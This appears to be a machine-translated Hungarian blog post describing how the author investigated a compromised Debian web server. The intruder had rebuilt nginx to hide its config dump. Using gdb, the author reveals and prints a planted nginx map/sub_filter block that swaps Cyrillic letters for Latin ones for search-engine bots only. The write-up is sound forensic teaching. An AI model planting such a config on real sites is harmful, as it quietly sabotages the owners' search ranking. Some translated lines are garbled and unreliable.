Egy ismerősömmel történt egy rendkívül kellemetlen történet. De bármennyire is kellemetlen volt Mihailnak, számomra ugyanolyan lenyűgöző volt.
Azt kell mondanom, hogy a barátom nagyon jó UNIX- felhasználó: saját maga is telepítheti a rendszert mysql, php és végezze el a legegyszerűbb beállításokat nginx.
És körülbelül egy tucat weboldala van, amelyek építőipari szerszámoknak szentelték magukat.
Az egyik ilyen, láncfűrészeknek szentelt weboldal stabilan a keresőmotorok rangsorának élén áll. Ez az oldal egy nem kereskedelmi célú értékelő oldal, de valakinek elege lett belőle, és megtámadta. DDoS, majd nyers erőt alkalmaznak, majd obszcén kommenteket írnak és visszaéléseket küldenek a tárhelynek és az RKN-nek.
Hirtelen minden elcsendesedett, és ez a csend nem bizonyult jó dolognak, és az oldal fokozatosan elkezdett lekerülni a keresési eredmények legfelső sorairól.
Ez egy mondás volt, aztán maga az admin története.
Már közeledett a lefekvés ideje, amikor megszólalt a telefonom: "Sanya, le tudnád ellenőrizni a szerveremet? Azt hiszem, feltörtek. Nem tudom bizonyítani, de már három hete érzem. Talán itt az ideje egy kis kezelésnek a paranoiám miatt?"
Ezután egy félórás beszélgetés következett, amelyet a következőképpen lehet összefoglalni:
- a talaj a hackelésnek meglehetősen termékeny volt;
- a hacker szuperfelhasználói jogokat szerezhet;
- a támadás (ha egyáltalán megtörtént) célzott volt, és kifejezetten ezt a helyszínt érte;
- a problémás területeket kijavították, és csak azt kell megérteni, hogy fennállt-e a behatolás ténye;
- A hack nem befolyásolhatta a webhely kódját és adatbázisait.
Az utolsó ponttal kapcsolatban.
Csak a frontend nyilvános IP-címe látható a világ számára. A backend és a frontend között nincs kommunikáció a http(ek)-n kívül, a felhasználók és jelszavak eltérőek, és a kulcsok nem cserélődnek ki. A privát címeken a 80/443 kivételével minden port zárva van. A backend nyilvános IP-címeit csak két felhasználó ismeri, akikben Mikhail teljes mértékben megbízik.
Telepítve az előlapra Debian 9 és mire a hívás megtörténik, a rendszert egy külső tűzfal elszigeteli a világtól, és leállítja.
„Oké, add meg a hozzáférést” – úgy döntök, hogy egy órával elhalasztom az alvást. „Majd a saját szememmel meglátom.”
Innentől kezdve:
$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1
Egy lehetséges hack nyomában
Elindítom a szervert, elsőként mentési módFelteszem a lemezeket és lapozgatom őket. author-rönkök, történelem, rendszernaplókat stb., amikor csak lehetséges, ellenőrzöm a fájlok létrehozási dátumait, bár megértem, hogy egy normál hacker mindent "felsöpört volna", és Misha már sokat "taposott" rajta, miközben maga is kereste.
Normál módban kezdem, még nem igazán tudom, mit keressek, ezért a konfigurációkat tanulmányozom. Elsődleges érdeklődésem a következő: nginx mert általában nincs semmi más a frontend-en, csak az.
A konfigurációk kicsik, jól strukturáltak egy tucat fájlba, csak átnézem őket macska'om viszont. Minden tisztának tűnik, de lehet, hogy kihagytam valamit. tartalmaz, akkor készítek egy teljes listát:
$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful
Nem értettem: „Hol van a hirdetés?”
$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module
A listázással kapcsolatos kérdést egy második egészíti ki: „Miért olyan ősi az nginx verziója?”
Ezenkívül a rendszer úgy tekinti, hogy a telepített verzió újabb:
$ dpkg -l nginx | grep "[n]ginx"
ii nginx 1.14.2-2+deb10u1 all small, powerful, scalable web/proxy server
Hívom:
- Mish, miért szerelted össze újra? nginx?
- Térj már észhez, én ezt azt sem tudom, hogy kell csinálni!
- Oké, akkor menj aludni...
nginx Határozottan újraépítették, és a "-T" listázó kimenet okkal rejtett. Nincs többé kétség a hack felől, így egyszerűen elfogadhatjuk, és (mivel Misha úgyis lecserélte a szervert egy újra) a problémát megoldottnak tekinthetjük.
És valóban, ha valaki egyszer megkapta a jogokat gyökér„á, akkor van értelme csak úgy csinálni” rendszer újratelepítése, és hiábavaló volt keresgélni, hogy miféle csínytevés történt ott, de ezúttal a kíváncsiság győzedelmeskedett az álom felett. Hogyan deríthetnénk ki, mit akartak eltitkolni előlünk?
Próbáljuk meg nyomon követni:
$ strace nginx -T
A nyomvonalat nézzük, egyértelműen hiányoznak vonalak, például
write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf) = 21
write(1, "...
write(1, "n", 1
Az érdekesség kedvéért hasonlítsuk össze az eredményeket
$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264
Szerintem ez a kód része /src/core/nginx.c
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 1;
break;
formába hozták:
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
//ngx_dump_config = 1;
break;
vagy
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 0;
break;
ezért nem jelenik meg a "-T" lista.
De hogyan tudjuk megnézni a konfigurációnkat?
Ha a gondolatmenetem helyes, és a probléma csak a változóban van ngx_dump_config próbáljuk meg telepíteni a következővel: gdbhála istennek, van kulcs —with-cc-opt -g jelen van, és reméljük, hogy az optimalizálás -O2 Nem fog fájni nekünk. Mivel azonban nem tudom, hogyan ngx_dump_config feldolgozható lenne „T” eset:, ezt a blokkot nem fogjuk meghívni, hanem a következővel telepítjük: 't' eset:
Miért használhatom a '-t'-t a '-T' mellett?Blokkfeldolgozás ha(ngx_dump_config) belül történik ha(ngx_test_config):
if (ngx_test_config) {
if (!ngx_quiet_mode) {
ngx_log_stderr(0, "configuration file %s test is successful",
cycle->conf_file.data);
}
if (ngx_dump_config) {
cd = cycle->config_dump.elts;
for (i = 0; i < cycle->config_dump.nelts; i++) {
ngx_write_stdout("# configuration file ");
(void) ngx_write_fd(ngx_stdout, cd[i].name.data,
cd[i].name.len);
ngx_write_stdout(":" NGX_LINEFEED);
b = cd[i].buffer;
(void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
ngx_write_stdout(NGX_LINEFEED);
}
}
return 0;
}
Természetesen, ha a kódot ebben a részben változtatják meg, és nem a „T” eset:, akkor a módszerem nem fog működni.
nginx.conf teszteléseMiután a problémát már tapasztalati úton megoldották, megállapították, hogy minimális konfigurációra van szükség a rosszindulatú program működéséhez. nginx típus:
events {
}
http {
include /etc/nginx/sites-enabled/*;
}
A rövidség kedvéért a cikkben ezt fogjuk használni.
Indítsuk el a hibakeresőt
$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188 src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}
http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:
[Inferior 1 (process 32581) exited normally]
(gdb) quit
A lépések:
- állítson be egy töréspontot a függvényben fő()
- elindítjuk a programot
- Megváltoztatjuk a konfigurációs kimenetet meghatározó változó értékét ngx_dump_config=1
- folytatni/befejezni a programot
Amint láthatjuk, a tényleges konfiguráció eltér a miénktől. Vegyük ki belőle a parazita darabot:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Nézzük sorban, mi is történik itt.
Meghatározás alatt állnak User-Agentyandex/google:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
A szolgáltatásoldalak nem tartoznak ide. wordpress:
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
És azok számára, akikre a fenti két feltétel vonatkozik
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
a szövegben html- az oldalak változnak 'O' on 'o' и 'A' on „a”:
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Így van, az egyetlen finomság az, hogy 'egy' != 'egy' szintén 'ó' != 'ó':
Így a keresőmotorok botjai módosított, latin karakterekkel hígított szemetet kapnak a normál, 100%-ban cirill betűs szöveg helyett. „a” и 'o'Nem tudok találgatni, hogy ez hogyan befolyásolja a SEO-t, de nem valószínű, hogy egy ilyen betűkavalkád pozitív hatással lesz a keresési eredményekre.
Mit mondhatnék, képzelőerővel rendelkező srácok.
referenciák
Forrás: will.com
